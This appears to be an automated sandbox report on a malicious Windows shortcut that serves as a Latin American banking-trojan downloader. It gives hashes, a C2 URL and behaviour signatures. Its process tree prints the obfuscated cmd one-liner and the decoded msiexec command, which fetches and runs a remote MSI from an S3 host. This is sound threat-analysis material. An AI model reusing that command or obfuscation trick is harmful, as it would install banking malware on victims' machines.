Overview

overview

10

Static

static

23 de Novembro.lnk

windows7_x64

10

23 de Novembro.lnk

windows10_x64

10

Analysis

  • max time kernel
    119s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    23/11/2021, 15:26

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General

  • Target

    23 de Novembro.lnk

  • Size

    1KB

  • MD5

    dbc89ba629ae4c675b9c77d6e2e7db23

  • SHA1

    b27c719b2226145787b90a07494dc66b32817b4e

  • SHA256

    0b58d3b97a11a82aafda54aa682cddc11cf513dbcf980a145a04c8b5a362ccdf

  • SHA512

    7e5225364a21aae63a9aaef89aeb7994e0c902e81220a4e169463ccb32a17986858d2e53dd9208dea2c07012e4d24f891e67109ec1c2fd7337f2a40328853d86

Score
10/10
latam_generic_downloaderbankerloaderpersistence

Malware Config

Extracted

Family

latam_generic_downloader

C2

https://ym4dusty.s3.sa-east-1.amazonaws.com/softo.kn3

Signatures

  • Generic LATAM Downloader

    Generic Latin American MSI downloader used to drop various banking trojans.

    loaderbankerlatam_generic_downloader
  • Blocklisted process makes network request 4 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies Control Panel 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\23 de Novembro.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /V/c "sET JIEX=^|morMiSEe +1 ^|cMiSEmMiSEd&&sET IeCXE=mMiSEsieMiSExec.eMiSExe /i httMiSEps://qMiSE9j.s3.eu-west-MiSE2.amazoMiSEnaws.com/setMiSEupMiSE.mMiSEsi&&sEt MAoK=!IeCXE:MiSE=!&&sEt ESxCa=!JIEX:MiSE=!&&cmd /c !MAoK! !ESxCa!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\system32\cmd.exe
        cmd /c msiexec.exe /i https://q9j.s3.eu-west-2.amazonaws.com/setup.msi |more +1 |cmd
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1120
        • C:\Windows\system32\msiexec.exe
          msiexec.exe /i https://q9j.s3.eu-west-2.amazonaws.com/setup.msi
          4⤵
          • Blocklisted process makes network request
          • Use of msiexec (install) with remote resource
          • Enumerates connected drives
          • Drops file in Windows directory
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:832
        • C:\Windows\system32\more.com
          more +1
          4⤵
            PID:1892
          • C:\Windows\system32\cmd.exe
            cmd
            4⤵
              PID:1040
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Enumerates connected drives
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1152
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 2457C7855EDB3C81A76071CF498112A4
          2⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1924
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            "C:\Windows\System32\Wbem\WMIC.exe" process call create 'C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe'
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1672
      • C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe
        "C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies Control Panel
        • Suspicious use of WriteProcessMemory
        PID:292
        • C:\Program Files (x86)\Internet explorer\iexplore.exe
          "C:\Program Files (x86)\Internet explorer\iexplore.exe"
          2⤵
          • Loads dropped DLL
          • Adds Run key to start application
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1200

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • memory/292-75-0x00000000007C0000-0x00000000019B1000-memory.dmp

        Filesize

        17.9MB

        Download

      • memory/1512-55-0x000007FEFC3C1000-0x000007FEFC3C3000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1924-70-0x0000000000560000-0x0000000000561000-memory.dmp

        Filesize

        4KB

        Download

      • memory/1924-65-0x0000000076A21000-0x0000000076A23000-memory.dmp

        Filesize

        8KB

        Download